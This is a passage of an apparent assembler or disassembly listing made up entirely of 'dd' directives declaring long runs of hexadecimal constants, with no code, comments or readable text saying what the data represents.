510FC6EEh, 0E0DDDC0Fh, 43CC87A1h, 766D075Ch, 10D86C28h dd 92323352h, 0AF007CECh, 5A3D8571h, 0DBED23h, 6BEF0935h dd 0A0E09282h, 0E6882B01h, 0C49C19BAh, 1EC55AC1h, 0FB239080h dd 0C786965Bh, 4300E9FCh, 0C84081F6h, 3120D378h, 8529EDB0h dd 0BD61803Ah, 41A7A48Fh, 687C00EAh, 0E6834A7Dh, 27745772h dd 0C6848801h, 4D4EE104h, 8C86D0h, 0D13B8D80h, 1D7F03D4h dd 0E0287455h, 82FEC4FEh, 67FBE404h, 73003811h, 6F5064D1h dd 0A3944B07h, 3B80D0C8h, 0C914FD6h, 8D7885A2h, 0FA0D8458h dd 3833696Fh, 0C2B55DCh, 74F191A2h, 783B0BC1h, 159B8096h dd 80CF495h, 44F216h, 0F085FF92h, 0A5C8A006h, 0FA042000h dd 0E6BA1228h, 6899724Bh, 8084AA86h, 0AB359158h, 0A0008B0Eh dd 0D1663D64h, 242CDD67h, 314A36DFh, 0DCBF57D9h, 0B9587F25h dd 0A8D00EAh, 0E4530B5Dh, 32BB0001h, 41EEA279h, 4E86FC7h dd 34BCD3Ch, 681A5694h, 0D3D100C1h, 3B62DC5Fh, 57003561h dd 744516BCh, 1EA0A106h, 0C0AB4E1Fh, 0E2372080h, 0BF00A286h dd 0CCB888BCh, 25828Dh, 0AC249D54h, 0F3D391DEh, 0E7AFED00h dd 1FCB8041h, 0DF623E5Eh, 0C7BB679Eh, 0C0367B98h, 5C403205h dd 477A5500h, 530304ECh, 0BA990087h, 0FA70C030h, 0ED0040F7h dd 0C438BB5Eh, 309844E9h, 0FE29C5D0h, 56005B74h, 0CF9019B7h dd 61C6A608h, 108EB021h, 0B4B1CCCCh, 9BB0B200h, 0C72C8814h dd 3759004Ah, 7AADB33h, 5C17605Eh, 31FFD78h, 2C67C301h dd 0CA70F976h, 9C230085h, 1920B707h, 0A1005AF7h, 77B8BF60h dd 70FF6CBh, 5C3290BDh, 2CD4D01Eh, 3600D8ADh, 57515A4Ah dd 70828DDh, 9BF4EE20h, 27C9C0CEh, 0BD07DCA2h, 110A6B22h dd 334047C0h, 0A7E6BFh, 6E8777C6h, 44EECEC2h, 2230C300h dd 0F16736A8h, 88C0003Fh, 0CEFA0913h, 0C5729D03h, 0EF01F900h dd 0ADA60A0h, 0F4E73A21h, 0AEE3A980h, 0A8B0C435h, 31632400h dd 0EF69414Eh, 3E91E40Eh, 0A180959Dh, 223974Ah, 5A001D74h dd 445014FAh, 0E21648h, 1AD79B10h, 69190884h, 3300AA79h dd 91321C15h, 724C6AEh, 66957EFAh, 549CD1C5h, 93C8E4F4h dd 0A1370F00h, 6E2CD7DCh, 60060F61h, 3D40CB35h, 0E2B1BAFCh dd 821E2D00h, 0AF67D6CFh, 10940053h, 6B4F9819h, 5A3D403Ch dd 0AD7C8358h, 98CEB905h, 24D3A7h, 88F1743Fh, 8793998Ch dd 8E124800h, 60C7E318h, 4DAF0065h, 94F8EE1Dh, 55009101h dd 70BB0EF0h, 13DA744h, 0FC9EAEEBh, 0EB89B426h, 0BFB2B0F8h dd 8295E300h, 2528F47Ch, 5B9B0067h, 43AC5264h, 1BEC8584h dd 410A0D1Fh, 91805CC0h, 0FA2CD0h, 0C0D2C8C1h, 27503AB7h dd 7AC75516h, 5D631100h, 7D2EE981h, 0A8033B17h, 0B7005448h dd 643F4347h, 750FE730h, 619C02D1h, 55ACC5C7h, 8B80F0h dd 0E91D3395h, 0AB032BAFh, 606FF507h, 0C4408320h, 3EFCA8C2h dd 2C037B78h, 91EC26EBh, 5B6721E0h, 3329B80Fh, 0E537A092h dd 2AA38Dh, 752B4AFh, 6BCA214h, 3ED97E03h, 0D8186BA0h dd 0CF620EFh, 0A2EC24FCh, 720EB429h, 0E3D489C8h, 808A6A66h dd 38B8FE42h, 5600A0BAh, 0A3F43F22h, 0AD006326h, 9DEBA7EDh dd 5173B7F1h, 0C8DB82CEh, 4CE0F004h, 35386956h, 0D6B8FD07h dd 0EFD5201Ah, 5F018AFFh, 0DB807D14h, 0A30073Ch, 960300C4h dd 9C84D74Ch, 4A4C46ABh, 0B0C600F6h, 9E3F21B1h, 0AE20EFCEh dd 0EA2012Fh, 4BEED1D9h, 7022E7h, 16B6551Fh, 2392073h dd 0DD458E0Fh, 0A68063B1h, 0C380F19Ah, 0D86ADA00h, 0E9E3A528h dd 650300CDh, 9ED41E07h, 0C50056AAh, 4CFFEAF7h, 139D428Ah dd 76410B7h, 603ACB98h, 0B227DAA2h, 0E573Bh, 0C87B0F32h dd 8D5002h, 3508F746h, 87C22F73h, 784FF48h, 0BB9F1275h dd 90927773h, 515C3Bh, 0C7E5CED7h, 0B220C990h, 0A17B771h dd 0B6075410h, 7D001837h, 90B906h, 942C766h, 0DC23FD19h dd 0FA69DE0Eh, 4813A631h, 0D4AF0018h, 3D53F6DDh, 0F8393239h dd 70B201C5h, 35BA1565h, 96B824h, 4903D031h, 0B5C8486Bh dd 0DAC13700h, 94B2A7F6h, 89A400EDh, 0B80A55Eh, 0D0001EF8h dd 3C65584Bh, 22462Eh, 83F1A2BEh, 0C6C51335h, 0B01E9830h dd 18D03256h, 10E7DE19h, 0E00F216h, 9A06CB45h, 0E554498Bh dd 0C825A450h, 0AB8624CAh, 0D8F80090h, 73F7FD60h, 215C100h dd 0FE669C13h, 924F184Dh, 0AEEA50AAh, 282FBE00h, 6CEE357Eh dd 9CBD00FBh, 4213A3ACh, 0F00A0C5h, 0DF496197h, 2D034A7h dd 78196439h, 64403E3Bh, 9400DABBh, 34FD1FDCh, 9C7BF3h dd 0BC9A13D4h, 5C3A327Dh dd 0FD599E39h, 0BF757800h, 5F96181Eh, 80F6603Fh, 0D6B96A73h dd 2E79DE15h, 0CEB801F0h, 1B86BA5Bh, 38EA0F0h, 0B253D870h dd 0F00A5CC0h, 18DBE03Eh, 3D33BC00h, 0E863B959h, 2AD9E85Fh dd 40287EDEh, 1B0E5ED1h, 8096BC45h, 364B378Bh, 0B19F0126h dd 97162905h, 0F456F01Ch, 0C8DDAC07h, 4190808Eh, 14613ECAh dd 0B863B55Dh, 6268B230h, 0EA0238F5h, 0DFA48E10h, 0D4388080h dd 563D4Ah, 0DC5CFCAFh, 31E8D9B8h, 97BB4B00h, 0F80EA452h dd 23C202B3h, 3A3BDBC3h, 436A0BC0h, 83389D38h, 409E0DCDh dd 4D30A8FFh, 0EA2EC68h, 0F294F557h, 82872860h, 54001889h dd 1BF08FFBh, 0F7AA0322h, 793EC0h, 4F33F7BCh, 0E863A7C2h dd 43FC5001h, 422027A4h, 32DCABFDh, 0BEF9003Fh, 0DDE089EDh dd 2300C91Dh, 0F5185C90h, 700144C8h, 7009F2B6h, 7334015Bh dd 33E654BEh, 0D98EC4CBh, 63D8CF03h, 0E8E8DB10h, 3894660Fh dd 2B872355h, 208BBFF1h, 27DDE48Dh, 0B3395Ch, 1F0BEFD0h dd 54D8545Bh, 8FE84Fh, 0B3D39BC5h, 8A15A7E3h, 288BAF00h dd 0EBF57455h, 0C4A354F8h, 0C2EE01FFh, 16BD9B1Dh, 302DD5E9h dd 0A501ECFCh, 3AFF4BB8h, 598060B4h, 0C25CD28Ah, 2DEA39F1h dd 0DC009892h, 0FAD43154h, 0D13C24h, 73E1B411h, 90B3B8Dh dd 51713F01h, 54E0A201h, 6D55C60h, 0F7F2BFEAh, 8C3889ADh dd 680079B3h, 0C5176B89h, 0FF8254h, 476A49D5h, 0E05EDE4Fh dd 0B039DC00h, 0B3543A03h, 4E11DE7h, 0B5A00F8h, 0EAD3AD9Bh dd 0DD82A709h, 6E20207Dh, 7040FFDh, 0F52C43CEh, 82E5B093h dd 80185E5Ah, 0C82932DCh, 0A7260087h, 22A92A21h, 7E00CA51h dd 0E529B15Bh, 0C43CD258h, 0BADEB4F1h, 0B3ADF100h, 0F482F875h dd 8D9073h, 0E071497Ah, 0E20C427Eh, 81EBC700h, 0DA8FC606h dd 0B1600004h, 3BB2B9EDh, 0ACA85DAEh, 0C07E281h, 0CAB559F9h dd 56EA0088h, 0C31049DEh, 2785BEEh, 0CC01E001h, 36BD5993h dd 0F0D2B99Fh, 1792F899h, 3A81210Ah, 290ED446h, 0F1B380C9h dd 0DE38D94Fh, 2D8D0029h, 0DCFE86C4h, 6718C37Fh, 0FC515EDDh dd 0F0FA3A7Eh, 0B02C9F80h, 0E2EA3E24h, 6C005CE0h, 0BFC69726h dd 6C35BFAh, 0D822EC99h, 0A500C956h, 0E07EAAE2h, 97A416h dd 0A1EAA3B5h, 3DC09887h, 0D48A5100h, 575EA75Ch, 394B60D9h dd 0D8966E2Fh, 46000F70h, 0BE499F79h, 0C4B548h, 8E60DA56h dd 0B47A95E8h, 0AEC36A03h, 1F30B8E4h, 0F9D32DD1h, 67DC9C50h dd 0C01AC934h, 505714BEh, 0C7ECE11Eh, 0B0AFDF0Ah, 293ADC8Ch dd 72E23CB3h, 8028E000h, 0AE7D78Dh, 4DD0CA01h, 33D9DE06h dd 13326980h, 381941B2h, 2582E900h, 14E6A9F5h, 592426E1h dd 42D130ABh, 0E8EA99CFh, 0C90E1A72h, 5ED5F15h, 0B425695Ah dd 0B4C1A030h, 6849000Eh, 0F3F7BC5h, 0C0EB3340h, 0F40E306Eh dd 4054B22Fh, 0E822ADCFh, 72590286h, 6AECB980h, 56F0F083h dd 0F3A081A3h, 7F489020h, 0DE3A5Ch, 0B63413F6h, 0EC56035h dd 49C85A0Ah, 817A7263h, 18EAB3F8h, 73665000h, 4C709DC9h dd 52E00058h, 890978A8h, 0A9C72FD2h, 0D420246Fh, 589008h dd 0C4CE170Ch, 9A787DD5h, 5A7B1E00h, 7AA4C98Ah, 77400472h dd 8CEA7ED7h, 79005010h, 5D7CF6CDh, 905F0ED4h, 8A020A7Ch dd 808C35DBh, 8C70D01Dh, 5928A1ACh, 14040CBEh, 2784BA86h dd 0F574CCh, 0AA81F8BCh, 5A774310h, 6D216100h, 355E12D0h dd 9473097Bh, 7893F7A0h, 0D59E7688h, 904E6300h, 9D03F5A6h dd 0DFF400E0h, 5CB0F7E6h, 0D2043AC8h, 0DBEB04C0h, 2AB488h dd 47996542h, 0D67B8991h, 0C2F6FC00h, 0A7327814h, 52D73525h dd 83548099h, 0FB00026Ch, 827F9805h, 0ABC806Ah, 871AD1B3h dd 0E1F907D0h, 402E85F5h, 5E1D39B0h, 9900E85Ah, 49F744A5h dd 4CD00643h, 0A10075F2h, 0C63B24DDh, 0D248D4E6h, 6A9780E8h dd 0EE65C789h, 0EF37026Fh, 0A57C6631h, 99937CA1h, 8C913007h dd 5D34801h, 31BE3595h, 403BDF8h, 7B351C8h, 8C5088DCh dd 0AFF4DB00h, 694E233Fh, 0C49C0068h, 0E375A080h, 6000CD3Ch dd 0D1C0C199h, 0C1B7E563h, 16CACB39h, 16AC32DDh, 0AE4D9Ah dd 9D8D716Eh, 5B72A10Bh, 59A93906h, 20A8C48Ah, 0B000D3E1h dd 2C140576h, 73FD3C01h, 609D0F1Ah, 8363B51Dh, 590161DCh dd 0BB44435Bh, 33C87721h, 9A960E0Eh, 403E2CA8h, 0FB323E9h dd 1374D7B4h, 2EF6F003h, 0B0B1D5B2h, 1569A860h, 903FF93Bh dd 0C8A90279h, 0D9EBA6E6h, 2900E444h, 6A063F50h, 91CF4Ah dd 52AD1123h, 0BED4667Bh, 0F440158h, 0D36AD7FEh, 0FFEBD000h dd 488E8974h, 95C108CAh, 0FF997694h, 0E1BFAEB0h, 56F84900h dd 0D27C8764h, 0E010488Bh, 4C20709h, 83EAFC80h, 6A00E6FEh dd 0B64CDB1h, 13871D85h, 203AB2E2h, 0D980AA7Ch, 0A7113260h dd 50C2AFh, 961BEDFEh, 5D6C64D3h, 393E7DFAh, 0B402003Ah dd 34A172E0h, 552F76E6h, 0C443803Dh, 8D22F0FAh, 2E23045Dh dd 0CC179192h, 0B40016A8h, 0C3F9A319h, 1E8DEDFh, 0FAD24377h dd 803EDB2Eh, 0EBA461E8h, 0C04EDDA9h, 169B9EB8h, 0E754F94Dh dd 1E1607F0h, 11682ACh, 0E2264600h, 12701F8h, 19ABC95Ch dd 525AD9E7h, 61C0039Ch, 8E28A364h, 504CE092h, 7996C09Ch dd 0D7BD94h, 887547DFh, 9326720Ch, 0D977C012h, 0F5FFAC20h dd 0E1E90089h, 345DAF51h, 291D478Fh, 1043C580h, 0DB737AA3h dd 0C866A0FAh, 28E1582Dh, 89B9E285h, 33DAF0B0h, 876E9C7h dd 3B6DD8E0h, 9E4B1B3h, 5890625Ah, 0B77B220Dh, 36DEFCFDh dd 0D480F491h, 0AFC70980h, 669700DAh, 0A0AB96E3h, 0A700A37Bh dd 8C7A9F40h, 0F801494h, 9201B76Ch, 0C1071E00h, 10902270h dd 0EFB13200h, 4C1DD98Dh, 0A42A07A8h, 0C05F94BDh, 0C5B064D7h dd 160DBE1Dh, 0B4FF8E00h, 0E7ED9Eh, 0FD0B14Ch, 0E11DA273h dd 0B218E900h, 2A7FB3F8h, 328807E5h, 0A021DF07h, 0D2B8D730h dd 8F00B4B1h, 8C83C3A7h, 9D7D0724h, 20C632ACh, 0B4CD72B7h dd 0E297C406h, 33136AEh, 28191A7Fh, 3BE8995Dh, 0D8B8EEFEh dd 0AF59EF0Ah, 0C09C9438h, 0B7B9AA40h, 249AABDDh, 4100BB3Bh dd 0F87F6681h, 74B0D3E6h, 2AB7F4E9h, 5C39F824h, 0E3BDC880h dd 288F19Bh, 71B18EDFh, 0B0608106h, 6158D6CDh, 552240h dd 7CE0C78Fh, 65CA58C8h, 0DA004E76h, 0C4D3D0Eh, 0B8E9CF2Ch dd 5F8D0058h, 6F7F08B7h, 5958FEEBh, 5A5D090Dh, 554C68C1h dd 588314C2h, 0AD0078D9h, 41A3561Ah, 3D48FCDBh, 0F4792E58h dd 7B005C11h, 95997876h, 3160D96Ch, 26DEA039h, 22001F4h dd 0C899A1E4h, 0B3F74046h, 48D62A89h, 0F8CC3900h, 0C4AD3h dd 0B474735Eh, 0C67CE2B0h, 0C0ACED50h, 458B8E02h, 40AC091Bh dd 9FCA814h, 3CDC2E89h, 324AF411h, 8E6E1F20h, 0A8D1605Bh dd 0A0D8B4h, 0CC34467Ah, 85DE6396h, 10F3A601h, 0AACDEECAh dd 8B16E80h, 0DFFF6EB5h, 2F6243Ch, 0BD3B6079h, 0DE84465Ah dd 0F24A0E71h, 442EDF20h, 0F9F0E6B6h, 0EA7F9E0Ah, 631AE74Eh dd 2C349881h, 39710096h, 2167B10Ch, 0A7A0C715h, 0DD7C14FEh dd 0DC4E540Ch, 1743927h, 9A6AF7F9h, 0E749BF19h, 52176097h dd 0E000767Dh, 59C80F8Fh, 905B03C2h, 0DAD20F0Ch, 0C12A543Ch dd 786A11C4h, 8D34D500h, 0AABFCE55h, 0AF0D019Ch, 185AD2BEh dd 0A328C8C1h, 90CD5306h, 3817CDCh, 0F2161BE2h, 9803CC2h dd 5E0239ADh, 0F7EB32E4h, 5784A3AEh, 0A36CA0DEh, 0C683032Ah dd 0F24682D8h, 7E1E6A70h dd 41C01EDFh, 0A5E7FB4h, 0D8EC354Bh, 0E2748099h, 0B02C1EFAh dd 501150F8h, 662C007Bh, 48467F78h, 0DD008A1Fh, 0C6EEEDCAh dd 4C89A8D6h, 419FE0DBh, 12DAA1FDh, 2FBCC45Ah, 848419CBh dd 0C98E128h, 0EAD20088h, 0B92EAE56h, 0F09016C2h, 0D47F8A04h dd 78C8B83Bh, 0E13A60F8h, 0A9E2E30Ch, 2FA7D202h, 4683ECAAh dd 0BE07808h, 14523F70h, 0A925B080h, 0F500C1C5h, 0E0796921h dd 60FB5004h, 0E8B32044h, 5D7C82D4h, 16A8EE01h, 9F746780h dd 2C145BD0h, 0C586CE7h, 0EE087F27h, 2BC2F0E9h, 73A7E74h dd 0B760820Bh, 0C4E6F8F9h, 718B7B3Ch, 3E5B90CCh, 0ABAE8AF0h dd 38456090h, 59009811h, 670964DDh, 382D92D5h, 3D859EADh dd 80A8E926h, 0E80BFE14h, 252E5D90h, 0CD0EE8ECh, 560909h dd 44C58D9Eh, 12CB9F8h, 0E1E33359h, 0E0A840E6h, 8EF0EBD5h dd 8020D948h, 3875E494h, 79BE00B5h, 3A099E13h, 9C077B2Fh dd 5EED03DDh, 1068D61h, 28863070h, 52D0544Ch, 0F200C4D9h dd 4FC48CD4h, 0AC125CA6h, 0C8082D30h, 9CA060h, 0E506F5B1h dd 15E3D74Ah, 5A3F9F06h, 0F8893CBEh, 759E0FDEh, 68895769h dd 2FEB7C48h, 7C9A8C90h, 220B5B06h, 44805EACh, 0E4EAB952h dd 2481B07h, 83805C8Ah, 5657263h, 0EBA07466h, 6EC01D4h dd 0D0866776h, 16F05161h, 5D40C496h, 4D3650h, 9559FB6Bh dd 0AD25A949h, 0B029CC01h, 5EAE833Ch, 58B2718Ah, 977B8BA8h dd 0D48CE809h, 0A80CCB49h, 1183DC7Fh, 0E038B91Fh, 0D98AA331h dd 0F039091h, 0AFB7CF72h, 79D051E7h, 1613A8A9h, 7CA2E9h dd 8546229Ch, 0E01F17CBh, 38CB4AEAh, 0F6C098ACh, 0F1700052h dd 1E6F7CDEh, 99019CB4h, 1168C1D3h, 0A893550Dh, 0C724D0B7h dd 7D7FDDD4h, 0D28B8A00h, 10AAEB57h, 30A90242h, 40DC2F23h dd 0F05B2449h, 60002A17h, 0E247F809h, 9ABF004h, 587F3AF1h dd 6269BC91h, 0A9E809ACh, 0C0900195h, 4C72DC8Dh, 0E4345600h dd 5FC2697Ah, 0A66AFC02h, 705C61AEh, 3B227208h, 0B581B419h dd 0D8FB0416h, 55618059h, 4323F58Ch, 1EBE00DBh, 7D4EF9E7h dd 0C8A84BB4h, 0CE0683D6h, 0A0394ADFh, 55BA3E10h, 84687401h dd 70DA8B80h, 0C24C7370h, 0F0491829h, 7F77C38h, 71668206h dd 0FED82A6h, 73B4CCE0h, 59B33D01h, 0F562CFB1h, 0D220E02Bh dd 7B149C00h, 5A485D77h, 0A9CC0572h, 0C0F48FAAh, 0FE83ED90h dd 0B4E2020Ah, 0B180B839h, 0CFB75B06h, 55080FDDh, 0D3E025B3h dd 96CA1B71h, 22AE6F00h, 0D278BF81h, 38E89023h, 0F911CB8Ch dd 0FBE209A3h, 10392087h, 38C0F4h, 557235C5h, 0E8D9A0DEh dd 4C82A104h, 7CE4B23Bh, 1C665C5Ah, 0A069C9C6h, 0C090B64Ch dd 0CF196203h, 40D84AFAh, 1BFD438h, 0B1F9565h, 0F88CC00Fh dd 98C6893Bh, 81E00196h, 17CF124Ah, 3901FBDAh, 0AA95787h dd 987489B8h, 0EE73097Bh, 94088081h, 0FDB84088h, 0C0A05038h dd 0AB004D53h, 0CAB7378Fh, 0F0E995E8h, 80DC94F8h, 0A071023Ah dd 4F1EA233h, 320276E3h, 0E0F3E26Bh, 9C69798h, 53E4AB90h dd 0DDA57010h, 0B3E8D609h, 0F6580011h, 14A225DFh, 0C409EC19h dd 4E30A079h, 16290066h, 749BDF0Eh, 0C7001D34h, 0CBC99FF6h dd 0EEB15F8Bh, 0D2562136h, 0E033C10Fh, 0D54C03DAh, 0F70629B7h dd 0A4970090h, 3F024287h, 18ADF604h, 0A8C1A251h, 0A88A2A4Bh dd 0CF0C104h, 9F088716h, 8FEC6D00h, 0C3FA8070h, 71DB0997h dd 80E8B0E2h, 0D8AB54D7h, 0D17A50E0h, 8085703Bh, 0FD60DA5Dh dd 122A1580h, 0EF34Ah, 8D822734h, 0E700975Ch, 86AB1FD4h dd 0AFE51D2h, 0EC98C3Ah, 0F00D00CCh, 2C5405DFh, 4914E926h dd 0AC07130h, 0C9EFA0C7h, 7B30385h, 29729E5Dh, 356C8294h dd 4B197F20h, 6CEB0423h, 0A5BA3BD5h, 92BC2878h, 999E0501h dd 0C2D8A188h, 78A0EE18h, 0CEB7905h, 69D9D18Fh, 7100C751h dd 0F69D22DAh, 0FA53965h, 0BD6E0CFBh, 0D3408200h, 0EA1D32E6h dd 9BA7FA1h, 0A6AEABh, 6B22E0BCh, 45801C67h, 7B17C174h dd 158FAC9h, 8C62F709h, 34829403h, 1E3B97Ah, 206277B1h dd 0B801D6A1h, 4AEBDDC0h, 603052F5h, 9DA8B1EFh, 2C3700A8h dd 11FE3B51h, 0A0EA5706h, 3C21B459h, 7F007E35h, 0AE5D628Bh dd 0D74CB307h, 6E778090h, 266FEB5Eh, 745A8Ch, 9ACDEA56h dd 0A1004E90h, 0EEF874DFh, 1EC86E3h, 0F403B22Fh, 0F57259A7h dd 0E8E4FA5Eh, 0FA8C6300h, 0FF293219h, 554C007Bh, 0D3064858h dd 59055744h, 80AA2EE1h, 2F4E9482h, 0EE1EBF00h, 3B00B831h dd 77F5A07Ah, 70E5F982h, 75BA077Ch, 86A937B6h, 511380EAh dd 48D2B384h, 0E452F8h, 7E9F97D6h, 215BD199h, 0FA04E512h dd 47BFF008h, 9C28F5Eh, 0DCE08B79h, 5A8854B4h, 0BFCB1C0h dd 14907F84h, 8B007691h, 22B06170h, 2CB369C8h, 0E781C1Eh dd 862B4E9Eh, 0A51DE400h, 0D7522FE7h, 0B81F4ACCh, 80220300h dd 30E97210h, 0C594CD9h, 0B4010E3Fh, 95FA70A1h, 44F0B339h dd 3C820012h, 0E06B0CD4h, 0F609F27Fh, 84A4F7BFh, 0F5C0DE5Ch dd 24BCE8A2h, 4050D2A8h, 0FF7B7240h, 24D4400h, 0D511E879h dd 7807006Ch, 0CE93D30Fh, 0CCB1D2AAh, 0F048C600h, 2238946h dd 85647B27h, 0B051C166h, 0B5DD30Eh, 0E958879Fh, 0A109F84Ah dd 0E6D090D8h, 0CC0C1FACh, 880740B9h, 0C95C4BA4h, 0BF53F802h dd 71B45A69h, 0E4862D68h, 0C7001131h, 4A34AA2Dh, 0B3D3DBh dd 667AA46Ah, 96157F77h, 8C35C0Eh, 512943B7h, 0C00C8A72h dd 522EA284h, 0E47CB0DFh, 0A56E00C8h, 738207C9h, 7899AF5Ch dd 1FA0D384h, 0DFC098C0h, 5C9C0576h, 80EA8AFEh, 67D15A7Bh dd 0B47B1200h, 66022FE0h, 88AD6082h, 0B0F7A573h, 9C8049DFh dd 1D0317D6h, 8FF400B6h, 228E6576h, 0EA03D993h, 6CCFD5FEh dd 0E1F601B5h, 51076323h, 27282DB4h, 0B1D40055h, 1D4E6225h dd 80B22EFAh, 0B91E80E9h, 0AF015EECh, 0EDBF5CD1h, 0E832D351h dd 0F5E9DF00h, 5F97BAD7h, 8928B776h, 0C3EEBE71h, 16EC1F58h dd 0CC00EB22h, 81154C73h, 0D7692967h, 62E00E4h, 196E6863h dd 1350F44Ch, 0D090D2D5h, 0ECB82Ah, 6FB5A71Ah, 9D3AC99Bh dd 8E164900h, 0ABFC095Fh, 0B93B245Eh, 0E9E04088h, 0E82DDDCDh dd 8CB890E1h, 921E00D0h, 37F7C1A9h, 724C58BDh, 95CF17BDh dd 6000C885h, 0C9DDDF02h, 0F52708F7h, 448034D8h, 18A43CE8h dd 49640C68h, 949C86C8h, 7F666913h, 0D0FD5830h, 0C8B0EDh dd 0EEB29BC0h, 0A6F74AD1h, 2A70BE0Fh, 2053EBFDh, 598B6AE0h dd 1EC4ACBBh, 0FBDCB40Fh, 81EF4E00h, 0E7EBBC1Eh, 0EA8C691Dh dd 0B1CA9B41h, 43EC1EEh, 80D581E8h, 5194271Ch, 0D3EBA01Dh dd 0A1007010h, 5C6CE28Ah, 6201C2C8h, 46E1F009h, 442DD84Ch dd 0FB6F5901h, 0D0B3A68Dh, 0A850147Bh, 6C5A6288h, 48DB0009h dd 0E86E4CCCh, 7C9D004Dh, 0EC1684F2h, 3307FB37h, 4AD544D4h dd 18492D47h, 0A87E4h, 33C451AAh, 3CA09B2Ah, 9ED65Ch, 0F449388Ah dd 5C105AD7h, 5C00091Eh, 92AEF781h, 56132580h, 5405AA13h dd 9460EDB7h, 9EEC684h, 0E7220CE1h, 540FECC4h, 0C0F1116Ah dd 0E97E3910h, 2FFA391Dh, 0DD88550Ah, 0D1300064h, 0FBB08CC9h dd 0E0986AF8h, 707E1601h, 3FDBF1DEh, 0A3132980h, 0A1C2D7Fh dd 0E77AE575h, 20D9A125h, 6532BDCCh, 98834829h, 0A0EFE902h dd 0E0C8E4F8h, 9503743Fh, 46447053h, 938BF964h, 328F6F6h dd 7DC259B0h, 2FE855A0h, 0D850E64Bh, 0E04E78E0h, 83B4D440h dd 1F56DA8h dd 181D8121h, 4578C12Dh, 6FC0C28Ch, 4EF4BC70h, 3B4A700h dd 518EE3F9h, 0E899D8h, 684D52DFh, 59710BFEh, 9200A874h dd 1C6912E2h, 588B50BEh, 0A40B0406h, 0FC19A6F4h, 5835CC6Dh dd 56EB9600h, 6FD224A9h, 6C7CF925h, 8B7CB301h, 33A073C4h dd 0F71502D0h, 618602A9h, 40D6B37Ch, 2018154h, 7F03876Ah dd 8444EAA4h, 8D7B1807h, 6CC68CC4h, 90193928h, 26DE5D80h dd 7EE17C0Ch, 0DA2F4D14h, 1878B8Ch, 1ED7967Fh, 522EDCF1h dd 324B24Ch, 0A95EEA53h, 6324F83Fh, 0D8A80F1Eh, 89626CD2h dd 0EF207CDAh, 1E8F3EB7h, 0CF5A0C54h, 0D60F6E3Dh, 0B5066FEFh dd 0D35E292Ch, 0F5840840h, 5C846h, 0CFC38119h, 309C2A49h dd 6B0E0304h, 0C3C0875Eh, 98578358h, 7B11ED50h, 0A85DE866h dd 0D8BCFD13h, 0E120C890h, 925416BDh, 0E309007Fh, 7A2DED9Bh dd 8F0908B8h, 5AD1F7BEh, 1F11006Ch, 79E56955h, 580473FAh dd 30B02391h, 0C760480h, 0EFF417A8h, 0E040370Dh, 5E0BC946h dd 0E9BD5F01h, 0A2DC4A6Ch, 0E12AB1DCh, 0EF841C2h, 0B9B68B30h dd 28102580h, 0BAE447B2h, 1B7E5700h, 0C5D810D5h, 0E7F42E92h dd 4B5C28E0h, 5FA040D9h, 7BFE3F73h, 0D7945300h, 0CFB76A65h dd 0E010978Dh, 0F302DD79h, 8FB6399Eh, 6851EFh, 141EDA04h dd 0BF00E0F0h, 0FFBBD305h, 33D949h, 4A1531C9h, 0B1C25C91h dd 0B383DE0Bh, 0B4646443h, 38D75050h, 0F2ADF100h, 7F362739h dd 4D1301FFh, 35F50EF9h, 0FADCD17Dh, 99BCD820h, 0E234605Bh dd 0DE5CCF10h, 6BFEA12h, 0E600C4F2h, 0B582DA59h, 9AE49072h dd 0E27F2F13h, 0CD7AF502h, 68F929h, 881FF0BAh, 85001AA1h dd 0F2FC24F5h, 16F16623h, 889FE819h, 0E51FDF6Ch, 6218D2C5h dd 1C14638h, 12B2FA27h, 200BFDDBh, 58B0EABCh, 4CF25Dh dd 47DAA69Fh, 735CC8h, 0F4A741A8h, 0D4DCBF50h, 0DDA3E30Ah dd 0C60B0E9h, 7F4D97h, 0CC6C0F47h, 0A7823EA0h, 7743E701h dd 0EF2D731Bh, 7CA4202Eh, 1600ED1Ah, 34C212C4h, 13DB06Bh dd 0EEDFA4D1h, 84E66231h, 0DD19B394h, 11F90C8h, 6FD55732h dd 605662B2h, 0DE72E050h, 9780D4B9h, 94AFD0EFh, 0FEFA00D4h dd 63CF363Dh, 0C00E287h, 688A5109h, 3B73F980h, 0B40F7D1Dh dd 0CE02A7A3h, 9C5AD734h, 0A3C1C00h, 40217F8Fh, 93DC0309h dd 588169Eh, 0E7E59B88h, 0D85CB498h, 48DD8B9Ch, 7948498h dd 9BB7D176h, 0EDBBF1C7h, 22A0F37Ch, 93038AFFh, 91986C94h dd 9DDE8073h, 0B1E3071Eh, 10D9335Eh, 0BF1934A4h, 5CAF2E07h dd 0D7609B68h, 125FD60Ch, 3F59DF8h, 80320788h, 23C6A0E7h dd 60067B02h, 0ABEC572Ah, 680B00DAh, 9A3474A9h, 9070D096h dd 0A41C31C3h, 7F2DB0C6h, 477476h, 37098502h, 0B89CF120h dd 0DE037474h, 0FE5F4672h, 0FA38CEAAh, 838F00FCh, 67A18E2Ch dd 4D0C9E4Bh, 90719131h, 6EB6880Bh, 147AD600h, 47F901DAh dd 50541FDEh, 1756C3C5h, 0A5C02063h, 0DC603C0Ch, 90F1BF58h dd 180A043h, 8C49C106h, 0E4A46A4Ah, 750357BDh, 0CB208430h dd 9059E8F1h, 0C1D4E63Dh, 0BA09FF41h, 776EC441h, 6F0006F4h dd 9B22EFE5h, 5449AF34h, 0C85A465h, 0DDB87682h, 0A83D77F8h dd 155483E6h, 3D987F55h, 0F70A6E20h, 0F8409D9h, 686FAA8h dd 1600994Fh, 8D3D8646h, 4432E4h, 0C0689E66h, 0AC67EAAh dd 0A4947528h, 20B3B900h, 1840D64h, 414E6004h, 137D46D1h dd 0F93E6500h, 381E92Bh, 0B23D14B6h, 0EFC0A4FFh, 4A2F1150h dd 0FB9AD307h, 646AAF8Fh, 350FB600h, 0C888E6Ah, 0A5126D50h dd 54009018h, 1496FFDEh, 1B61D59h, 0CA1B5001h, 70F17B88h dd 0F73CE3B7h, 0D0700685h, 671098Ch, 6F5A791h, 0AC001133h dd 4FEDC284h, 5DB286h, 189C6A6Fh, 22699AE8h, 0C9585915h dd 49DD26C0h, 0CEB61600h, 0E53FE23h, 586EDFC1h, 0F913A961h dd 5900CB06h, 48893924h, 3DD04478h, 1280C1EEh, 77B22BAEh dd 6A0CCED8h, 31820CC7h, 0A49019Ch, 6EF5B72Fh, 0B58050DBh dd 1C0068F2h, 2C1B6567h, 7B2A41Eh, 665D3858h, 231710Ch dd 0A7E884C9h, 70837A56h, 0D68CB157h, 44DCCD4h, 0CFFF721h dd 88BF4A36h, 0BB806137h, 0AD5A743h, 76F6CF80h, 9E544014h dd 